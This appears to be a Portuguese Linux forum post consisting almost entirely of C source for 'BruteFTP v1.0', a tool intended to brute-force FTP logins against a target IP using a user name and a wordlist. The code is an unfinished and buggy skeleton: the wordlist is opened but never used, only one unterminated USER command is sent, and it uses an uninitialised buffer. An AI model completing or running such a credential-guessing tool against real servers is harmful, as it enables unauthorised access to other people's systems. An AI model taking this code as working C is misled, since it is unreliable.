Enviado em 21/03/2024 - 15:11h
boas glr.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
int main(){
char result[256];
char user[50];
char word[256];
int sock, cnx;
char ip[15];
FILE *open;
char buf[256];
printf("BruteFTP v1.0 by major\n");
printf("[i]=-************-=[i]\n");
printf("*******************************\n");
printf("IP: ");
scanf("%[^\n]", ip);
printf("User: ");
getchar();
scanf("%[^\n]", user);
printf("Wordlist: ");
getchar();
scanf("%[^\n]", word);
open = fopen(word, "rb");
if(open == NULL){
perror("I/O Error");
exit(EXIT_FAILURE);
} else{
struct sockaddr_in skt={
.sin_family=AF_INET,
.sin_port = htons(21),
.sin_addr.s_addr = inet_addr(ip)
};
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == -1){
perror("Erro de abertura");
exit(EXIT_FAILURE);
}
else{
cnx = connect(sock, (struct sockaddr_in *) &skt, sizeof(skt));
if(cnx == -1){
perror("Imposivel conectar");
exit(EXIT_FAILURE);
}
else{
strcat(buf, "USER ");
strcat(buf, user);
send(sock, buf, strlen(buf), 0);
read(sock, result, 256);
puts(result);
close(sock);
}
close(cnx);
close(sock);
}
}
return 0;
}
Criar entrada (menuentry) ISO no Grub
Como gerar qualquer emoji ou símbolo unicode a partir do seu teclado
Instalar o VIM 9.1 no Debian 12
Como saber o range de um IP público?
Muitas dificuldades ao instalar distro Linux em Notebook Sony Vaio PCG-6131L (VPCEA24FM)
Slackpkg+ (Slackpkg Plus) está de volta!
Como dividir duas janelas igualmente e lado-a-lado na sua tela
Como redefinir o diretório Home? (1)
Posso instalar usar o grub sem ter linux instalado, para iniciar o win... (2)
Ocomon 6.0.1 - Problemas ao editar configurações estendidas (6)